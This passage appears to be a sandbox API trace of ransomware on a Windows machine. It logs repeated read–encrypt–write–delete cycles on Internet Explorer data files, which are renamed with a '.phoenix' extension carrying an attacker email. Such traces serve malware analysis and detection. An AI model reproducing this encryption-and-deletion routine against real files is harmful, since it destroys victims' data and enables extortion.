	[0266.615] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.bak.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\internet explorer\\brndlog.bak.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0266.615] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.bak" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\internet explorer\\brndlog.bak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244
	[0266.616] SetFilePointerEx (in: hFile=0x244, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0266.616] SetFilePointerEx (in: hFile=0x244, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0266.616] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.bak.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\internet explorer\\brndlog.bak.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304
	[0266.625] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151540) returned 1
	[0266.625] CryptSetKeyParam (hKey=0x151540, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0266.625] ReadFile (in: hFile=0x244, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x19ad, lpOverlapped=0x0) returned 1
	[0266.688] CryptEncrypt (in: hKey=0x151540, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x19b0, dwBufLen=0x19b0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x19b0) returned 1
	[0266.688] WriteFile (in: hFile=0x304, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x19b0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x19b0, lpOverlapped=0x0) returned 1
	[0266.689] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151040) returned 1
	[0266.689] CryptSetKeyParam (hKey=0x151040, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0266.689] CryptEncrypt (in: hKey=0x151040, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0266.689] CryptDestroyKey (hKey=0x151040) returned 1
	[0266.689] WriteFile (in: hFile=0x304, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0266.689] CryptDestroyKey (hKey=0x151540) returned 1
	[0266.689] CloseHandle (hObject=0x244) returned 1
	[0266.689] CloseHandle (hObject=0x304) returned 1
	[0266.690] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.bak" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\internet explorer\\brndlog.bak")) returned 1
	[0266.691] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0266.691] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Internet Explorer\\IECompatData\\iecompatdata.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\internet explorer\\iecompatdata\\iecompatdata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304
	[0266.691] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=3050) returned 1
	[0266.691] CloseHandle (hObject=0x304) returned 1
	[0266.692] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Internet Explorer\\IECompatData\\iecompatdata.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\internet explorer\\iecompatdata\\iecompatdata.xml")) returned 0x20
	[0266.692] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Internet Explorer\\IECompatData\\iecompatdata.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\internet explorer\\iecompatdata\\iecompatdata.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0266.692] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Internet Explorer\\IECompatData\\iecompatdata.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\internet explorer\\iecompatdata\\iecompatdata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304
	[0266.692] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0266.692] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0266.692] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Internet Explorer\\IECompatData\\iecompatdata.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\internet explorer\\iecompatdata\\iecompatdata.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244
	[0266.692] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151380) returned 1
	[0266.692] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0266.693] ReadFile (in: hFile=0x304, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xbea, lpOverlapped=0x0) returned 1
	[0266.709] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xbf0, dwBufLen=0xbf0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xbf0) returned 1
	[0266.710] WriteFile (in: hFile=0x244, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xbf0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xbf0, lpOverlapped=0x0) returned 1
	[0266.711] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151200) returned 1
	[0266.711] CryptSetKeyParam (hKey=0x151200, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0266.711] CryptEncrypt (in: hKey=0x151200, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x50, dwBufLen=0x50 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x50) returned 1
	[0266.711] CryptDestroyKey (hKey=0x151200) returned 1
	[0266.711] WriteFile (in: hFile=0x244, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x102, lpOverlapped=0x0) returned 1
	[0266.711] CryptDestroyKey (hKey=0x151380) returned 1
	[0266.711] CloseHandle (hObject=0x304) returned 1
	[0266.711] CloseHandle (hObject=0x244) returned 1
	[0266.711] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Internet Explorer\\IECompatData\\iecompatdata.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\internet explorer\\iecompatdata\\iecompatdata.xml")) returned 1
	[0266.712] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0266.712] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Internet Explorer\\imagestore\\p1nh3xb\\imagestore.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\internet explorer\\imagestore\\p1nh3xb\\imagestore.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244
	[0266.713] GetFileSizeEx (in: hFile=0x244, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=23660) returned 1
	[0266.713] CloseHandle (hObject=0x244) returned 1
	[0266.714] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Internet Explorer\\imagestore\\p1nh3xb\\imagestore.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\internet explorer\\imagestore\\p1nh3xb\\imagestore.dat")) returned 0x20
	[0266.714] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Internet Explorer\\imagestore\\p1nh3xb\\imagestore.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\internet explorer\\imagestore\\p1nh3xb\\imagestore.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0266.714] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Internet Explorer\\imagestore\\p1nh3xb\\imagestore.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\internet explorer\\imagestore\\p1nh3xb\\imagestore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244
	[0266.714] SetFilePointerEx (in: hFile=0x244, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0266.714] SetFilePointerEx (in: hFile=0x244, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0266.714] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Internet Explorer\\imagestore\\p1nh3xb\\imagestore.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\internet explorer\\imagestore\\p1nh3xb\\imagestore.dat.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304
	[0266.715] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x1512c0) returned 1
	[0266.715] CryptSetKeyParam (hKey=0x1512c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0266.715] ReadFile (in: hFile=0x244, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x5c6c, lpOverlapped=0x0) returned 1
	[0266.898] CryptEncrypt (in: hKey=0x1512c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x5c70, dwBufLen=0x5c70 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x5c70) returned 1
	[0266.898] WriteFile (in: hFile=0x304, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x5c70, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x5c70, lpOverlapped=0x0) returned 1
	[0266.899] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151340) returned 1
	[0266.899] CryptSetKeyParam (hKey=0x151340, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0266.899] CryptEncrypt (in: hKey=0x151340, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0266.899] CryptDestroyKey (hKey=0x151340) returned 1
	[0266.899] WriteFile (in: hFile=0x304, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0266.899] CryptDestroyKey (hKey=0x1512c0) returned 1
	[0266.899] CloseHandle (hObject=0x244) returned 1
	[0266.899] CloseHandle (hObject=0x304) returned 1
	[0266.900] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Internet Explorer\\imagestore\\p1nh3xb\\imagestore.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\internet explorer\\imagestore\\p1nh3xb\\imagestore.dat")) returned 1
	[0266.901] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0266.901] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Internet Explorer\\Indexed DB\\edb00001.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\internet explorer\\indexed db\\edb00001.log"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0266.933] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=524288) returned 1
	[0266.933] CloseHandle (hObject=0x2e8) returned 1
	[0266.934] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Internet Explorer\\Indexed DB\\edb00001.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\internet explorer\\indexed db\\edb00001.log")) returned 0x20
	[0266.934] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Internet Explorer\\Indexed DB\\edb00001.log.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\internet explorer\\indexed db\\edb00001.log.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0266.934] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Internet Explorer\\Indexed DB\\edb00001.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\internet explorer\\indexed db\\edb00001.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0266.934] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0266.934] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0266.934] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Internet Explorer\\Indexed DB\\edb00001.log.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\internet explorer\\indexed db\\edb00001.log.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0266.935] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151380) returned 1
	[0266.935] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0266.935] ReadFile (in: hFile=0x2e8, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x80000, lpOverlapped=0x0) returned 1
	[0267.013] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x80010, dwBufLen=0x80010 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x80010) returned 1
	[0267.013] WriteFile (in: hFile=0x2b0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x80010, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x80010, lpOverlapped=0x0) returned 1
	[0267.022] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151040) returned 1
	[0267.022] CryptSetKeyParam (hKey=0x151040, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0267.022] CryptEncrypt (in: hKey=0x151040, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0267.022] CryptDestroyKey (hKey=0x151040) returned 1
	[0267.022] WriteFile (in: hFile=0x2b0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0267.022] CryptDestroyKey (hKey=0x151380) returned 1
	[0267.022] CloseHandle (hObject=0x2e8) returned 1
	[0267.022] CloseHandle (hObject=0x2b0) returned 1
	[0267.024] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Internet Explorer\\Indexed DB\\edb00001.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\internet explorer\\indexed db\\edb00001.log")) returned 1
	[0267.028] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0267.028] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Internet Explorer\\MSIMGSIZ.DAT" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\internet explorer\\msimgsiz.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0267.030] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=49120) returned 1
	[0267.030] CloseHandle (hObject=0x2b0) returned 1
	[0267.030] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Internet Explorer\\MSIMGSIZ.DAT" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\internet explorer\\msimgsiz.dat")) returned 0x20
	[0267.030] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Internet Explorer\\MSIMGSIZ.DAT.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\internet explorer\\msimgsiz.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0267.030] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Internet Explorer\\MSIMGSIZ.DAT" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\internet explorer\\msimgsiz.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0267.030] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0267.030] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0267.030] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Internet Explorer\\MSIMGSIZ.DAT.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\internet explorer\\msimgsiz.dat.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0267.031] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151340) returned 1
	[0267.031] CryptSetKeyParam (hKey=0x151340, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0267.031] ReadFile (in: hFile=0x2b0, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xbfe0, lpOverlapped=0x0) returned 1
	[0267.074] CryptEncrypt (in: hKey=0x151340, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xbff0, dwBufLen=0xbff0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xbff0) returned 1
	[0267.074] WriteFile (in: hFile=0x2e8, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xbff0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xbff0, lpOverlapped=0x0) returned 1
	[0267.076] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151100) returned 1
	[0267.076] CryptSetKeyParam (hKey=0x151100, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0267.076] CryptEncrypt (in: hKey=0x151100, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0267.076] CryptDestroyKey (hKey=0x151100) returned 1
	[0267.076] WriteFile (in: hFile=0x2e8, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0267.076] CryptDestroyKey (hKey=0x151340) returned 1
	[0267.076] CloseHandle (hObject=0x2b0) returned 1
	[0267.076] CloseHandle (hObject=0x2e8) returned 1
	[0267.076] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Internet Explorer\\MSIMGSIZ.DAT" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\internet explorer\\msimgsiz.dat")) returned 1
	[0267.077] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0267.077] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Internet Explorer\\VersionManager\\versionlist.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\internet explorer\\versionmanager\\versionlist.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0267.078] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=14438) returned 1
	[0267.078] CloseHandle (hObject=0x2e8) returned 1
	[0267.078] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Internet Explorer\\VersionManager\\versionlist.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\internet explorer\\versionmanager\\versionlist.xml")) returned 0x20
	[0267.078] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Internet Explorer\\VersionManager\\versionlist.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\internet explorer\\versionmanager\\versionlist.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0267.078] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Internet Explorer\\VersionManager\\versionlist.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\internet explorer\\versionmanager\\versionlist.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0267.078] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0267.078] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0267.078] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Internet Explorer\\VersionManager\\versionlist.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\internet explorer\\versionmanager\\versionlist.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
